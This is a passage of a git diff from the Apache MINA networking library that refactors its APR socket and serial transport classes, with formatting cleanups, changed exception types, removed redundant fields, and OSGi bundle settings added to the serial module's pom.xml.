AprDatagramSession( - IoService service, IoProcessor processor, - long descriptor, InetSocketAddress remoteAddress) throws Exception { + */ + AprDatagramSession(IoService service, IoProcessor processor, long descriptor, + InetSocketAddress remoteAddress) throws Exception { super(service, processor, descriptor, remoteAddress); + config = new SessionConfigImpl(); this.config.setAll(service.getSessionConfig()); } @@ -64,7 +57,7 @@ class AprDatagramSession extends AprSession { * {@inheritDoc} */ public DatagramSessionConfig getConfig() { - return config; + return (DatagramSessionConfig) config; } /** @@ -117,7 +110,7 @@ public int getSendBufferSize() { try { return Socket.optGet(getDescriptor(), Socket.APR_SO_SNDBUF); } catch (Exception e) { - throw new RuntimeException("APR Exception", e); + throw new IllegalStateException("APR Exception", e); } } @@ -135,7 +128,7 @@ public int getReceiveBufferSize() { try { return Socket.optGet(getDescriptor(), Socket.APR_SO_RCVBUF); } catch (Exception e) { - throw new RuntimeException("APR Exception", e); + throw new IllegalStateException("APR Exception", e); } } diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprIoProcessor.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprIoProcessor.java index b30468e3f9..f080729b4c 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprIoProcessor.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprIoProcessor.java @@ -42,28 +42,34 @@ /** * The class in charge of processing socket level IO events for the * {@link AprSocketConnector} - * + * * @author Apache MINA Project */ public final class AprIoProcessor extends AbstractPollingIoProcessor { private static final int POLLSET_SIZE = 1024; - private final Map allSessions = new HashMap(POLLSET_SIZE); + private final Map allSessions = new HashMap<>(POLLSET_SIZE); private final Object wakeupLock = new Object(); + private final long wakeupSocket; + private volatile boolean toBeWakenUp; private final long pool; + private final long bufferPool; // memory pool + private final long pollset; // socket poller + private final long[] polledSockets = new long[POLLSET_SIZE << 1]; - private final Queue polledSessions = new ConcurrentLinkedQueue(); + + private final Queue polledSessions = new ConcurrentLinkedQueue<>(); /** * Create a new instance of {@link AprIoProcessor} with a given Exector for * handling I/Os events. - * + * * @param executor * the {@link Executor} for handling I/O events */ @@ -117,7 +123,7 @@ public AprIoProcessor(Executor executor) { * {@inheritDoc} */ @Override - protected void dispose0() { + protected void doDispose() { Poll.destroy(pollset); Socket.close(wakeupSocket); Pool.destroy(bufferPool); @@ -174,6 +180,7 @@ protected int select(long timeout) throws Exception { synchronized (wakeupLock) { Poll.remove(pollset, wakeupSocket); toBeWakenUp = false; + wakeupCalled.set(true); } continue; } @@ -223,6 +230,14 @@ protected void wakeup() { protected Iterator allSessions() { return allSessions.values().iterator(); } + + /** + * {@inheritDoc} + */ + @Override + protected int allSessionsCount() { + return allSessions.size(); + } /** * {@inheritDoc} @@ -413,15 +428,15 @@ protected int read(AprSession session, IoBuffer buffer) throws Exception { * {@inheritDoc} */ @Override - protected int write(AprSession session, IoBuffer buf, int length) throws Exception { + protected int write(AprSession session, IoBuffer buf, int length) throws IOException { int writtenBytes; if (buf.isDirect()) { writtenBytes = Socket.sendb(session.getDescriptor(), buf.buf(), buf.position(), length); } else { writtenBytes = Socket.send(session.getDescriptor(), buf.array(), buf.position(), length); - if (writtenBytes > 0) { - buf.skip(writtenBytes); - } + } + if (writtenBytes > 0) { + buf.skip(writtenBytes); } if (writtenBytes < 0) { @@ -445,12 +460,8 @@ protected int transferFile(AprSession session, FileRegion region, int length) th throw new UnsupportedOperationException(); } - long fd = File.open(region.getFilename(), - File.APR_FOPEN_READ - | File.APR_FOPEN_SENDFILE_ENABLED - | File.APR_FOPEN_BINARY, - 0, - Socket.pool(session.getDescriptor())); + long fd = File.open(region.getFilename(), File.APR_FOPEN_READ | File.APR_FOPEN_SENDFILE_ENABLED + | File.APR_FOPEN_BINARY, 0, Socket.pool(session.getDescriptor())); long numWritten = Socket.sendfilen(session.getDescriptor(), fd, region.getPosition(), length, 0); File.close(fd); @@ -458,7 +469,8 @@ protected int transferFile(AprSession session, FileRegion region, int length) th if (numWritten == -Status.EAGAIN) { return 0; } - throw new IOException(org.apache.tomcat.jni.Error.strerror((int) -numWritten) + " (code: " + numWritten + ")"); + throw new IOException(org.apache.tomcat.jni.Error.strerror((int) -numWritten) + " (code: " + numWritten + + ")"); } return (int) numWritten; } @@ -470,6 +482,7 @@ private void throwException(int code) throws IOException { /** * {@inheritDoc} */ + @Override protected void registerNewSelector() { // Do nothing } @@ -477,8 +490,9 @@ protected void registerNewSelector() { /** * {@inheritDoc} */ + @Override protected boolean isBrokenConnection() throws IOException { // Here, we assume that this is the case. return true; } -} \ No newline at end of file +} diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprLibrary.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprLibrary.java index f21b6cce10..f3cd496fa8 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprLibrary.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprLibrary.java @@ -22,7 +22,6 @@ import org.apache.tomcat.jni.Library; import org.apache.tomcat.jni.Pool; - /** * Internal singleton used for initializing correctly the APR native library * and the associated root memory pool. @@ -30,7 +29,7 @@ * It'll finalize nicely the native resources (libraries and memory pools). * * Each memory pool used in the APR transport module needs to be children of the - * root pool {@link AprLibrary#getRootPool()}. + * root pool AprLibrary#getRootPool(). * * @author Apache MINA Project */ @@ -77,9 +76,8 @@ static synchronized boolean isInitialized() { private AprLibrary() { try { Library.initialize(null); - } catch (Exception e) { - throw new RuntimeException( - "Error loading Apache Portable Runtime (APR).", e); + } catch (Throwable t) { + throw new IllegalStateException("Error loading Apache Portable Runtime (APR).", t); } pool = Pool.create(0); } diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSession.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSession.java index fbb25601e3..8b676e7bef 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSession.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSession.java @@ -23,7 +23,6 @@ import org.apache.mina.core.filterchain.DefaultIoFilterChain; import org.apache.mina.core.filterchain.IoFilterChain; -import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.service.IoService; import org.apache.mina.core.session.AbstractIoSession; @@ -37,30 +36,28 @@ * @author Apache MINA Project */ public abstract class AprSession extends AbstractIoSession { - + // good old socket descriptor private long descriptor; - // the service handling this session - private final IoService service; - // the processor processing this session private final IoProcessor processor; // the mandatory filter chain of this session private final IoFilterChain filterChain = new DefaultIoFilterChain(this); - - // handler listeneing this session event - private final IoHandler handler; // the two endpoint addresses private final InetSocketAddress remoteAddress; + private final InetSocketAddress localAddress; // current polling results private boolean readable = true; + private boolean writable = true; + private boolean interestedInRead; + private boolean interestedInWrite; /** @@ -68,14 +65,12 @@ public abstract class AprSession extends AbstractIoSession { * @param service the {@link IoService} creating this session. Can be {@link AprSocketAcceptor} or * {@link AprSocketConnector} * @param processor the {@link AprIoProcessor} managing this session. - * @param descriptor the low level APR socket descriptor for this socket. {@see Socket#create(int, int, int, long)} + * @param descriptor the low level APR socket descriptor for this socket. @see Socket#create(int, int, int, long) * @throws Exception exception produced during the setting of all the socket parameters. */ - AprSession( - IoService service, IoProcessor processor, long descriptor) throws Exception { - this.service = service; + AprSession(IoService service, IoProcessor processor, long descriptor) throws Exception { + super(service); this.processor = processor; - this.handler = service.getHandler(); this.descriptor = descriptor; long ra = Address.get(Socket.APR_REMOTE, descriptor); @@ -91,16 +86,14 @@ public abstract class AprSession extends AbstractIoSession { * @param service the {@link IoService} creating this session. Can be {@link AprSocketAcceptor} or * {@link AprSocketConnector} * @param processor the {@link AprIoProcessor} managing this session. - * @param descriptor the low level APR socket descriptor for this socket. {@see Socket#create(int, int, int, long)} + * @param descriptor the low level APR socket descriptor for this socket. @see Socket#create(int, int, int, long) * @param remoteAddress the remote end-point * @throws Exception exception produced during the setting of all the socket parameters. */ - AprSession( - IoService service, IoProcessor processor, - long descriptor, InetSocketAddress remoteAddress) throws Exception { - this.service = service; + AprSession(IoService service, IoProcessor processor, long descriptor, InetSocketAddress remoteAddress) + throws Exception { + super(service); this.processor = processor; - this.handler = service.getHandler(); this.descriptor = descriptor; long la = Address.get(Socket.APR_LOCAL, descriptor); @@ -110,7 +103,7 @@ public abstract class AprSession extends AbstractIoSession { } /** - * Get the socket descriptor {@see Socket#create(int, int, int, long)}. + * Get the socket descriptor @see Socket#create(int, int, int, long). * @return the low level APR socket descriptor */ long getDescriptor() { @@ -119,10 +112,10 @@ long getDescriptor() { /** * Set the socket descriptor. - * @param desc the low level APR socket descriptor created by {@see Socket#create(int, int, int, long)} + * @param desc the low level APR socket descriptor created by @see Socket#create(int, int, int, long) */ void setDescriptor(long desc) { - this.descriptor = desc; + this.descriptor = desc; } /** @@ -146,7 +139,7 @@ public InetSocketAddress getLocalAddress() { public InetSocketAddress getRemoteAddress() { return remoteAddress; } - + /** * {@inheritDoc} */ @@ -154,20 +147,6 @@ public IoFilterChain getFilterChain() { return filterChain; } - /** - * {@inheritDoc} - */ - public IoHandler getHandler() { - return handler; - } - - /** - * {@inheritDoc} - */ - public IoService getService() { - return service; - } - /** * {@inheritDoc} */ @@ -207,10 +186,10 @@ boolean isWritable() { void setWritable(boolean writable) { this.writable = writable; } - + /** * Does this session needs to be registered for read events. - * Used for building poll set {@see Poll}. + * Used for building poll set @see Poll. * @return true if registered */ boolean isInterestedInRead() { @@ -219,7 +198,7 @@ boolean isInterestedInRead() { /** * Set if this session needs to be registered for read events. - * Used for building poll set {@see Poll}. + * Used for building poll set @see Poll. * @param isOpRead true if need to be registered */ void setInterestedInRead(boolean isOpRead) { @@ -228,7 +207,7 @@ void setInterestedInRead(boolean isOpRead) { /** * Does this session needs to be registered for write events. - * Used for building poll set {@see Poll}. + * Used for building poll set @see Poll. * @return true if registered */ boolean isInterestedInWrite() { @@ -237,7 +216,7 @@ boolean isInterestedInWrite() { /** * Set if this session needs to be registered for write events. - * Used for building poll set {@see Poll}. + * Used for building poll set @see Poll. * @param isOpWrite true if need to be registered */ void setInterestedInWrite(boolean isOpWrite) { diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketAcceptor.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketAcceptor.java index cc7daef78d..890d05a2fb 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketAcceptor.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketAcceptor.java @@ -22,6 +22,7 @@ import java.io.IOException; import java.net.InetSocketAddress; import java.net.SocketAddress; +import java.nio.channels.spi.SelectorProvider; import java.util.Iterator; import java.util.Queue; import java.util.concurrent.ConcurrentLinkedQueue; @@ -35,8 +36,6 @@ import org.apache.mina.core.service.SimpleIoProcessorPool; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.transport.socket.DefaultSocketSessionConfig; -import org.apache.mina.transport.socket.SocketAcceptor; -import org.apache.mina.transport.socket.SocketSessionConfig; import org.apache.tomcat.jni.Address; import org.apache.tomcat.jni.Poll; import org.apache.tomcat.jni.Pool; @@ -48,27 +47,28 @@ * * @author Apache MINA Project */ -public final class AprSocketAcceptor extends AbstractPollingIoAcceptor implements SocketAcceptor { +public final class AprSocketAcceptor extends AbstractPollingIoAcceptor { /** * This constant is deduced from the APR code. It is used when the timeout * has expired while doing a poll() operation. - */ + */ private static final int APR_TIMEUP_ERROR = -120001; private static final int POLLSET_SIZE = 1024; private final Object wakeupLock = new Object(); + private volatile long wakeupSocket; - private volatile boolean toBeWakenUp; - private int backlog = 50; - private boolean reuseAddress = false; + private volatile boolean toBeWakenUp; private volatile long pool; + private volatile long pollset; // socket poller + private final long[] polledSockets = new long[POLLSET_SIZE << 1]; - private final Queue polledHandles = - new ConcurrentLinkedQueue(); + + private final Queue polledHandles = new ConcurrentLinkedQueue<>(); /** * Constructor for {@link AprSocketAcceptor} using default parameters (multiple thread model). @@ -108,8 +108,7 @@ public AprSocketAcceptor(IoProcessor processor) { * @param executor the executor for connection * @param processor the processor for I/O operations */ - public AprSocketAcceptor(Executor executor, - IoProcessor processor) { + public AprSocketAcceptor(Executor executor, IoProcessor processor) { super(new DefaultSocketSessionConfig(), executor, processor); ((DefaultSocketSessionConfig) getSessionConfig()).init(this); } @@ -138,8 +137,7 @@ protected AprSession accept(IoProcessor processor, Long handle) thro @Override protected Long open(SocketAddress localAddress) throws Exception { InetSocketAddress la = (InetSocketAddress) localAddress; - long handle = Socket.create( - Socket.APR_INET, Socket.SOCK_STREAM, Socket.APR_PROTO_TCP, pool); + long handle = Socket.create(Socket.APR_INET, Socket.SOCK_STREAM, Socket.APR_PROTO_TCP, pool); boolean success = false; try { @@ -153,7 +151,7 @@ protected Long open(SocketAddress localAddress) throws Exception { } // Configure the server socket, - result = Socket.optSet(handle, Socket.APR_SO_REUSEADDR, isReuseAddress()? 1 : 0); + result = Socket.optSet(handle, Socket.APR_SO_REUSEADDR, isReuseAddress() ? 1 : 0); if (result != Status.APR_SUCCESS) { throwException(result); } @@ -204,27 +202,17 @@ protected void init() throws Exception { // initialize a memory pool for APR functions pool = Pool.create(AprLibrary.getInstance().getRootPool()); - wakeupSocket = Socket.create( - Socket.APR_INET, Socket.SOCK_DGRAM, Socket.APR_PROTO_UDP, pool); + wakeupSocket = Socket.create(Socket.APR_INET, Socket.SOCK_DGRAM, Socket.APR_PROTO_UDP, pool); - pollset = Poll.create( - POLLSET_SIZE, - pool, - Poll.APR_POLLSET_THREADSAFE, - Long.MAX_VALUE); + pollset = Poll.create(POLLSET_SIZE, pool, Poll.APR_POLLSET_THREADSAFE, Long.MAX_VALUE); if (pollset <= 0) { - pollset = Poll.create( - 62, - pool, - Poll.APR_POLLSET_THREADSAFE, - Long.MAX_VALUE); + pollset = Poll.create(62, pool, Poll.APR_POLLSET_THREADSAFE, Long.MAX_VALUE); } if (pollset <= 0) { - if (Status.APR_STATUS_IS_ENOTIMPL(- (int) pollset)) { - throw new RuntimeIoException( - "Thread-safe pollset is not supported in this platform."); + if (Status.APR_STATUS_IS_ENOTIMPL(-(int) pollset)) { + throw new RuntimeIoException("Thread-safe pollset is not supported in this platform."); } } } @@ -270,7 +258,7 @@ protected int select() throws Exception { rv = Poll.maintain(pollset, polledSockets, true); if (rv > 0) { - for (int i = 0; i < rv; i ++) { + for (int i = 0; i < rv; i++) { Poll.add(pollset, polledSockets[i], Poll.APR_POLLIN); } } else if (rv < 0) { @@ -284,7 +272,7 @@ protected int select() throws Exception { polledHandles.clear(); } - for (int i = 0; i < rv; i ++) { + for (int i = 0; i < rv; i++) { long flag = polledSockets[i]; long socket = polledSockets[++i]; if (socket == wakeupSocket) { @@ -339,34 +327,6 @@ protected void wakeup() { } } - /** - * {@inheritDoc} - */ - public int getBacklog() { - return backlog; - } - - /** - * {@inheritDoc} - */ - public boolean isReuseAddress() { - return reuseAddress; - } - - /** - * {@inheritDoc} - */ - public void setBacklog(int backlog) { - synchronized (bindLock) { - if (isActive()) { - throw new IllegalStateException( - "backlog can't be set while the acceptor is bound."); - } - - this.backlog = backlog; - } - } - /** * {@inheritDoc} */ @@ -384,23 +344,14 @@ public InetSocketAddress getDefaultLocalAddress() { } /** - * {@inheritDoc} + * @see #setDefaultLocalAddress(SocketAddress) + * + * @param localAddress The localAddress to set */ public void setDefaultLocalAddress(InetSocketAddress localAddress) { super.setDefaultLocalAddress(localAddress); } - public void setReuseAddress(boolean reuseAddress) { - synchronized (bindLock) { - if (isActive()) { - throw new IllegalStateException( - "backlog can't be set while the acceptor is bound."); - } - - this.reuseAddress = reuseAddress; - } - } - /** * {@inheritDoc} */ @@ -408,22 +359,17 @@ public TransportMetadata getTransportMetadata() { return AprSocketSession.METADATA; } - /** - * {@inheritDoc} - */ - @Override - public SocketSessionConfig getSessionConfig() { - return (SocketSessionConfig) super.getSessionConfig(); - } - /** * Convert an APR code into an Exception with the corresponding message * @param code error number * @throws IOException the generated exception */ private void throwException(int code) throws IOException { - throw new IOException( - org.apache.tomcat.jni.Error.strerror(-code) + - " (code: " + code + ")"); + throw new IOException(org.apache.tomcat.jni.Error.strerror(-code) + " (code: " + code + ")"); + } + + @Override + protected void init(SelectorProvider selectorProvider) throws Exception { + init(); } } diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketConnector.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketConnector.java index 8ecd3ea7b9..2169dfbcd1 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketConnector.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketConnector.java @@ -58,23 +58,29 @@ public final class AprSocketConnector extends AbstractPollingIoConnector requests = - new HashMap(POLLSET_SIZE); + private final Map requests = new HashMap<>(POLLSET_SIZE); private final Object wakeupLock = new Object(); + private volatile long wakeupSocket; + private volatile boolean toBeWakenUp; private volatile long pool; + private volatile long pollset; // socket poller + private final long[] polledSockets = new long[POLLSET_SIZE << 1]; - private final Queue polledHandles = new ConcurrentLinkedQueue(); - private final Set failedHandles = new HashSet(POLLSET_SIZE); + + private final Queue polledHandles = new ConcurrentLinkedQueue<>(); + + private final Set failedHandles = new HashSet<>(POLLSET_SIZE); + private volatile ByteBuffer dummyBuffer; /** @@ -127,29 +133,19 @@ protected void init() throws Exception { // initialize a memory pool for APR functions pool = Pool.create(AprLibrary.getInstance().getRootPool()); - wakeupSocket = Socket.create( - Socket.APR_INET, Socket.SOCK_DGRAM, Socket.APR_PROTO_UDP, pool); + wakeupSocket = Socket.create(Socket.APR_INET, Socket.SOCK_DGRAM, Socket.APR_PROTO_UDP, pool); dummyBuffer = Pool.alloc(pool, 1); - pollset = Poll.create( - POLLSET_SIZE, - pool, - Poll.APR_POLLSET_THREADSAFE, - Long.MAX_VALUE); + pollset = Poll.create(POLLSET_SIZE, pool, Poll.APR_POLLSET_THREADSAFE, Long.MAX_VALUE); if (pollset <= 0) { - pollset = Poll.create( - 62, - pool, - Poll.APR_POLLSET_THREADSAFE, - Long.MAX_VALUE); + pollset = Poll.create(62, pool, Poll.APR_POLLSET_THREADSAFE, Long.MAX_VALUE); } if (pollset <= 0) { - if (Status.APR_STATUS_IS_ENOTIMPL(- (int) pollset)) { - throw new RuntimeIoException( - "Thread-safe pollset is not supported in this platform."); + if (Status.APR_STATUS_IS_ENOTIMPL(-(int) pollset)) { + throw new RuntimeIoException("Thread-safe pollset is not supported in this platform."); } } } @@ -182,8 +178,7 @@ protected Iterator allHandles() { * {@inheritDoc} */ @Override - protected boolean connect(Long handle, SocketAddress remoteAddress) - throws Exception { + protected boolean connect(Long handle, SocketAddress remoteAddress) throws Exception { InetSocketAddress ra = (InetSocketAddress) remoteAddress; long sa; if (ra != null) { @@ -206,7 +201,7 @@ protected boolean connect(Long handle, SocketAddress remoteAddress) } throwException(rv); - throw new InternalError(); // This sentence will never be executed. + throw new IllegalStateException(); // This statement will never be executed. } /** @@ -228,7 +223,7 @@ protected void close(Long handle) throws Exception { throwException(rv); } } - + /** * {@inheritDoc} */ @@ -239,7 +234,7 @@ protected boolean finishConnect(Long handle) throws Exception { if (failedHandles.remove(handle)) { int rv = Socket.recvb(handle, dummyBuffer, 0, 1); throwException(rv); - throw new InternalError("Shouldn't reach here."); + throw new IllegalStateException("Shouldn't reach here."); } return true; } @@ -249,8 +244,7 @@ protected boolean finishConnect(Long handle) throws Exception { */ @Override protected Long newHandle(SocketAddress localAddress) throws Exception { - long handle = Socket.create( - Socket.APR_INET, Socket.SOCK_STREAM, Socket.APR_PROTO_TCP, pool); + long handle = Socket.create(Socket.APR_INET, Socket.SOCK_STREAM, Socket.APR_PROTO_TCP, pool); boolean success = false; try { int result = Socket.optSet(handle, Socket.APR_SO_NONBLOCK, 1); @@ -294,8 +288,7 @@ protected Long newHandle(SocketAddress localAddress) throws Exception { * {@inheritDoc} */ @Override - protected AprSession newSession(IoProcessor processor, - Long handle) throws Exception { + protected AprSession newSession(IoProcessor processor, Long handle) throws Exception { return new AprSocketSession(this, processor, handle); } @@ -303,8 +296,7 @@ protected AprSession newSession(IoProcessor processor, * {@inheritDoc} */ @Override - protected void register(Long handle, ConnectionRequest request) - throws Exception { + protected void register(Long handle, ConnectionRequest request) throws Exception { int rv = Poll.add(pollset, handle, Poll.APR_POLLOUT); if (rv != Status.APR_SUCCESS) { throwException(rv); @@ -326,7 +318,7 @@ protected int select(int timeout) throws Exception { rv = Poll.maintain(pollset, polledSockets, true); if (rv > 0) { - for (int i = 0; i < rv; i ++) { + for (int i = 0; i < rv; i++) { Poll.add(pollset, polledSockets[i], Poll.APR_POLLOUT); } } else if (rv < 0) { @@ -340,7 +332,7 @@ protected int select(int timeout) throws Exception { polledHandles.clear(); } - for (int i = 0; i < rv; i ++) { + for (int i = 0; i < rv; i++) { long flag = polledSockets[i]; long socket = polledSockets[++i]; if (socket == wakeupSocket) { @@ -366,7 +358,7 @@ protected int select(int timeout) throws Exception { protected Iterator selectedHandles() { return polledHandles.iterator(); } - + /** * {@inheritDoc} */ @@ -393,9 +385,8 @@ public TransportMetadata getTransportMetadata() { /** * {@inheritDoc} */ - @Override public SocketSessionConfig getSessionConfig() { - return (SocketSessionConfig) super.getSessionConfig(); + return (SocketSessionConfig) sessionConfig; } /** @@ -419,8 +410,6 @@ public void setDefaultRemoteAddress(InetSocketAddress defaultRemoteAddress) { * @throws IOException the produced exception for the given APR error number */ private void throwException(int code) throws IOException { - throw new IOException( - org.apache.tomcat.jni.Error.strerror(-code) + - " (code: " + code + ")"); + throw new IOException(org.apache.tomcat.jni.Error.strerror(-code) + " (code: " + code + ")"); } } diff --git a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketSession.java b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketSession.java index a1ee453737..610211e50d 100644 --- a/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketSession.java +++ b/mina-transport-apr/src/main/java/org/apache/mina/transport/socket/apr/AprSocketSession.java @@ -40,23 +40,15 @@ * @author Apache MINA Project */ class AprSocketSession extends AprSession { - static final TransportMetadata METADATA = - new DefaultTransportMetadata( - "apr", "socket", false, true, - InetSocketAddress.class, - SocketSessionConfig.class, - IoBuffer.class); - - private final SocketSessionConfig config = new SessionConfigImpl(); - + static final TransportMetadata METADATA = new DefaultTransportMetadata("apr", "socket", false, true, + InetSocketAddress.class, SocketSessionConfig.class, IoBuffer.class); + /** * Create an instance of {@link AprSocketSession}. - * - * {@inheritDoc} */ - AprSocketSession( - IoService service, IoProcessor processor, long descriptor) throws Exception { + AprSocketSession(IoService service, IoProcessor processor, long descriptor) throws Exception { super(service, processor, descriptor); + config = new SessionConfigImpl(); this.config.setAll(service.getSessionConfig()); } @@ -64,7 +56,7 @@ class AprSocketSession extends AprSession { * {@inheritDoc} */ public SocketSessionConfig getConfig() { - return config; + return (SocketSessionConfig) config; } /** @@ -89,7 +81,7 @@ public boolean isKeepAlive() { throw new RuntimeIoException("Failed to get SO_KEEPALIVE.", e); } } - + /** * {@inheritDoc} */ @@ -187,10 +179,10 @@ public int getSendBufferSize() { try { return Socket.optGet(getDescriptor(), Socket.APR_SO_SNDBUF); } catch (Exception e) { - throw new RuntimeException("APR Exception", e); + throw new IllegalStateException("APR Exception", e); } } - + /** * {@inheritDoc} */ @@ -205,7 +197,7 @@ public int getReceiveBufferSize() { try { return Socket.optGet(getDescriptor(), Socket.APR_SO_RCVBUF); } catch (Exception e) { - throw new RuntimeException("APR Exception", e); + throw new IllegalStateException("APR Exception", e); } } diff --git a/mina-transport-serial/LICENSE.rxtx.txt b/mina-transport-serial/LICENSE.rxtx.txt index 9f2870895b..83493f588a 100644 --- a/mina-transport-serial/LICENSE.rxtx.txt +++ b/mina-transport-serial/LICENSE.rxtx.txt @@ -59,8 +59,8 @@ The original GNU Lesser General Public License Follows. - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA @@ -71,7 +71,7 @@ The original GNU Lesser General Public License Follows. as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] - Preamble + Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public @@ -173,7 +173,7 @@ modification follow. Pay close attention to the difference between a former contains code derived from the library, whereas the latter must be combined with the library in order to run. - GNU LESSER GENERAL PUBLIC LICENSE + GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other @@ -493,7 +493,7 @@ decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. - NO WARRANTY + NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. @@ -516,5 +516,5 @@ FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - END OF TERMS AND CONDITIONS + END OF TERMS AND CONDITIONS diff --git a/mina-transport-serial/pom.xml b/mina-transport-serial/pom.xml index 5e098186be..3749629547 100644 --- a/mina-transport-serial/pom.xml +++ b/mina-transport-serial/pom.xml @@ -24,7 +24,7 @@ org.apache.mina mina-parent - 2.0.1-SNAPSHOT + 2.2.10-SNAPSHOT mina-transport-serial @@ -32,7 +32,7 @@ bundle - ${project.groupId}.transport.serial + 2.1.7 @@ -53,9 +53,42 @@ org.rxtx rxtx - 2.1.7 + ${version.rxtx} provided + + + + + org.apache.felix + maven-bundle-plugin + true + true + + META-INF + + ${project.groupId}.transport.serial + + org.apache.mina.transport.serial;version=${project.version};-noimport:=true + + + gnu.io;version=${version.rxtx}, + org.apache.mina.core;version=${project.version}, + org.apache.mina.core.buffer;version=${project.version}, + org.apache.mina.core.filterchain;version=${project.version}, + org.apache.mina.core.future;version=${project.version}, + org.apache.mina.core.service;version=${project.version}, + org.apache.mina.core.session;version=${project.version}, + org.apache.mina.core.write;version=${project.version}, + org.apache.mina.integration.beans;version=${project.version}, + org.apache.mina.util;version=${project.version}, + org.slf4j;version=${osgi-min-version.slf4j.api} + + + + + + diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/DefaultSerialSessionConfig.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/DefaultSerialSessionConfig.java index 6c9a02e0be..3657b9b0ec 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/DefaultSerialSessionConfig.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/DefaultSerialSessionConfig.java @@ -27,8 +27,7 @@ * * @author Apache MINA Project */ -class DefaultSerialSessionConfig extends AbstractIoSessionConfig implements - SerialSessionConfig { +class DefaultSerialSessionConfig extends AbstractIoSessionConfig implements SerialSessionConfig { private int receiveThreshold = -1; @@ -46,7 +45,9 @@ public DefaultSerialSessionConfig() { * {@inheritDoc} */ @Override - protected void doSetAll(IoSessionConfig config) { + public void setAll(IoSessionConfig config) { + super.setAll(config); + if (config instanceof SerialSessionConfig) { SerialSessionConfig cfg = (SerialSessionConfig) config; setInputBufferSize(cfg.getInputBufferSize()); @@ -57,6 +58,7 @@ protected void doSetAll(IoSessionConfig config) { /** * {@inheritDoc} */ + @Override public int getInputBufferSize() { return inputBufferSize; } @@ -64,6 +66,7 @@ public int getInputBufferSize() { /** * {@inheritDoc} */ + @Override public boolean isLowLatency() { return lowLatency; } @@ -71,6 +74,7 @@ public boolean isLowLatency() { /** * {@inheritDoc} */ + @Override public void setInputBufferSize(int bufferSize) { inputBufferSize = bufferSize; } @@ -78,6 +82,7 @@ public void setInputBufferSize(int bufferSize) { /** * {@inheritDoc} */ + @Override public void setLowLatency(boolean lowLatency) { this.lowLatency = lowLatency; } @@ -85,6 +90,7 @@ public void setLowLatency(boolean lowLatency) { /** * {@inheritDoc} */ + @Override public int getReceiveThreshold() { return receiveThreshold; } @@ -92,6 +98,7 @@ public int getReceiveThreshold() { /** * {@inheritDoc} */ + @Override public void setReceiveThreshold(int bytes) { receiveThreshold = bytes; } @@ -99,6 +106,7 @@ public void setReceiveThreshold(int bytes) { /** * {@inheritDoc} */ + @Override public int getOutputBufferSize() { return outputBufferSize; } @@ -106,6 +114,7 @@ public int getOutputBufferSize() { /** * {@inheritDoc} */ + @Override public void setOutputBufferSize(int bufferSize) { outputBufferSize = bufferSize; diff --git a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddress.java b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddress.java index e5e76a8e18..30efa28fca 100644 --- a/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddress.java +++ b/mina-transport-serial/src/main/java/org/apache/mina/transport/serial/SerialAddress.java @@ -34,27 +34,94 @@ public class SerialAddress extends SocketAddress { private static final long serialVersionUID = 1735370510442384505L; + /** + * The number of data bits per byte + */ public enum DataBits { - DATABITS_5, DATABITS_6, DATABITS_7, DATABITS_8 + /** 5 bits per bytes */ + DATABITS_5, + + /** 6 bits per bytes */ + DATABITS_6, + + /** 7 bits per bytes */ + DATABITS_7, + + /** 8 bits per bytes */ + DATABITS_8 } + /** + * The error detection parity in use + * + */ public enum 